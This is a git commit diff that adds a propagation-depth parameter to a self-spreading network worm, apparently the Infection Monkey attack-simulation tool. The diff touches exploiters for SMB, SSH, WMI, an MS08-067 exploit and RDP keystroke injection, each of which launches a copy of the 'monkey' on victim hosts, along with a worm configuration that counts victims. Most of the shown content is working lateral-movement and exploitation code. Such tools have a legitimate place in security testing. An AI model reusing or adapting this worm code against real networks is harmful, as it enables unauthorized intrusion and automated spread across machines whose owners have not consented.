GC-4599: added depth parameter

This commit is contained in:
urihershgc 2015-12-07 19:08:15 +02:00
parent eee37b5084
commit 0ec19578c3
8 changed files with 40 additions and 18 deletions

View File

@ -119,6 +119,8 @@ class Configuration(object):
# how many victims to exploit before stopping # how many victims to exploit before stopping
victims_max_exploit = 7 victims_max_exploit = 7
# depth of propagation
depth = -1
current_server = "" current_server = ""
command_servers = [ command_servers = [

View File

@ -11,7 +11,7 @@ class HostExploiter(object):
return host.os.get('type') in self._target_os_type return host.os.get('type') in self._target_os_type
@abstractmethod @abstractmethod
def exploit_host(self, host, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
raise NotImplementedError() raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter from win_ms08_067 import Ms08_067_Exploiter

View File

@ -60,7 +60,7 @@ class CharEvent(object):
class SleepEvent(object): class SleepEvent(object):
def __init__(self, interval): def __init__(self, interval):
self.interval= interval self.interval = interval
class WaitUpdateEvent(object): class WaitUpdateEvent(object):
@ -72,8 +72,8 @@ class WaitUpdateEvent(object):
def str_to_keys(orig_str): def str_to_keys(orig_str):
result = [] result = []
for c in orig_str: for c in orig_str:
result.append(CharEvent(c,True)) result.append(CharEvent(c, True))
result.append(CharEvent(c,False)) result.append(CharEvent(c, False))
result.append(WaitUpdateEvent()) result.append(WaitUpdateEvent())
return result return result
@ -157,12 +157,14 @@ class CMDClientFactory(rdp.ClientFactory):
self._keyboard_layout = "en" self._keyboard_layout = "en"
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter # key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [SleepEvent(1), self._keys = [SleepEvent(1),
ScanCodeEvent(91,True,True), ScanCodeEvent(91, True, True),
ScanCodeEvent(19,True), ScanCodeEvent(19, True),
ScanCodeEvent(19,False), ScanCodeEvent(19, False),
ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True), ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \
ScanCodeEvent(28,False), WaitUpdateEvent()] + str_to_keys(command+"&exit") + [WaitUpdateEvent(), ScanCodeEvent(28,True), [WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28,False), WaitUpdateEvent()] ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command+"&exit") +\
[WaitUpdateEvent(), ScanCodeEvent(28, True),
ScanCodeEvent(28, False), WaitUpdateEvent()]
self._optimized = optimized self._optimized = optimized
self._security = rdp.SecurityLevel.RDP_LEVEL_NLA self._security = rdp.SecurityLevel.RDP_LEVEL_NLA
self._nego = True self._nego = True
@ -198,7 +200,8 @@ class CMDClientFactory(rdp.ClientFactory):
def clientConnectionLost(self, connector, reason): def clientConnectionLost(self, connector, reason):
# try reconnect with basic RDP security # try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego: if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port)) LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" %
(connector.host, connector.port))
# stop nego # stop nego
self._nego = False self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
@ -210,7 +213,8 @@ class CMDClientFactory(rdp.ClientFactory):
self.done_event.set() self.done_event.set()
def clientConnectionFailed(self, connector, reason): def clientConnectionFailed(self, connector, reason):
LOG.debug("RDP connection to %s:%s failed, with error: %s" % (connector.host, connector.port, reason.getErrorMessage())) LOG.debug("RDP connection to %s:%s failed, with error: %s" %
(connector.host, connector.port, reason.getErrorMessage()))
self.success = False self.success = False
self.done_event.set() self.done_event.set()

View File

@ -54,7 +54,7 @@ class SmbExploiter(HostExploiter):
return host.os.get('type') in self._target_os_type return host.os.get('type') in self._target_os_type
return False return False
def exploit_host(self, host, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host) src_path = src_path or get_target_monkey(host)
@ -107,6 +107,8 @@ class SmbExploiter(HostExploiter):
cmdline += " -t " + host.default_tunnel cmdline += " -t " + host.default_tunnel
if host.default_server: if host.default_server:
cmdline += " -s " + host.default_server cmdline += " -s " + host.default_server
if depth > 0:
cmdline += " -d %d" % (depth - 1)
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, )) rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))

View File

@ -26,7 +26,7 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time() self._update_timestamp = time.time()
def exploit_host(self, host, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
@ -121,6 +121,8 @@ class SSHExploiter(HostExploiter):
cmdline += " -t " + host.default_tunnel cmdline += " -t " + host.default_tunnel
if host.default_server: if host.default_server:
cmdline += " -s " + host.default_server cmdline += " -s " + host.default_server
if depth > 0:
cmdline += " -d %d" % (depth - 1)
cmdline += "&" cmdline += "&"
ssh.exec_command(cmdline) ssh.exec_command(cmdline)

View File

@ -186,7 +186,7 @@ class Ms08_067_Exploiter(HostExploiter):
host.os.get('version') in self._windows_versions.keys() host.os.get('version') in self._windows_versions.keys()
return False return False
def exploit_host(self, host, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host) src_path = src_path or get_target_monkey(host)
@ -253,6 +253,8 @@ class Ms08_067_Exploiter(HostExploiter):
cmdline += " -t " + host.default_tunnel cmdline += " -t " + host.default_tunnel
if host.default_server: if host.default_server:
cmdline += " -s " + host.default_server cmdline += " -s " + host.default_server
if depth > 0:
cmdline += " -d %d" % (depth - 1)
try: try:
sock.send("start %s\r\n" % (cmdline, )) sock.send("start %s\r\n" % (cmdline, ))

View File

@ -17,7 +17,7 @@ class WmiExploiter(HostExploiter):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
@WmiTools.dcom_wrap @WmiTools.dcom_wrap
def exploit_host(self, host, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
assert isinstance(host, VictimHost) assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host) src_path = src_path or get_target_monkey(host)
@ -88,6 +88,8 @@ class WmiExploiter(HostExploiter):
cmdline += " -t " + host.default_tunnel cmdline += " -t " + host.default_tunnel
if host.default_server: if host.default_server:
cmdline += " -s " + host.default_server cmdline += " -s " + host.default_server
if depth > 0:
cmdline += " -d %d" % (depth - 1)
# execute the remote monkey # execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,

View File

@ -32,6 +32,7 @@ class ChaosMonkey(object):
self._exploiters = None self._exploiters = None
self._fingerprint = None self._fingerprint = None
self._default_server = None self._default_server = None
self._depth = 0
def initialize(self): def initialize(self):
LOG.info("Monkey is initializing...") LOG.info("Monkey is initializing...")
@ -43,11 +44,15 @@ class ChaosMonkey(object):
arg_parser.add_argument('-p', '--parent') arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel') arg_parser.add_argument('-t', '--tunnel')
arg_parser.add_argument('-s', '--server') arg_parser.add_argument('-s', '--server')
arg_parser.add_argument('-d', '--depth')
opts, self._args = arg_parser.parse_known_args(self._args) opts, self._args = arg_parser.parse_known_args(self._args)
self._parent = opts.parent self._parent = opts.parent
self._default_tunnel = opts.tunnel self._default_tunnel = opts.tunnel
self._default_server = opts.server self._default_server = opts.server
if opts.depth:
WormConfiguration.depth = opts.depth
LOG.debug("Selected depth is: %d" % WormConfiguration.depth)
self._keep_running = True self._keep_running = True
self._network = NetworkScanner() self._network = NetworkScanner()
self._dropper_path = sys.argv[0] self._dropper_path = sys.argv[0]
@ -78,6 +83,9 @@ class ChaosMonkey(object):
system_info = system_info_collector.get_info() system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info) ControlClient.send_telemetry("system_info_collection", system_info)
if 0 == WormConfiguration.depth:
return
for _ in xrange(WormConfiguration.max_iterations): for _ in xrange(WormConfiguration.max_iterations):
ControlClient.keepalive() ControlClient.keepalive()
ControlClient.load_control_config() ControlClient.load_control_config()
@ -132,7 +140,7 @@ class ChaosMonkey(object):
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
try: try:
if exploiter.exploit_host(machine): if exploiter.exploit_host(machine, WormConfiguration.depth):
successful_exploiter = exploiter successful_exploiter = exploiter
break break
else: else: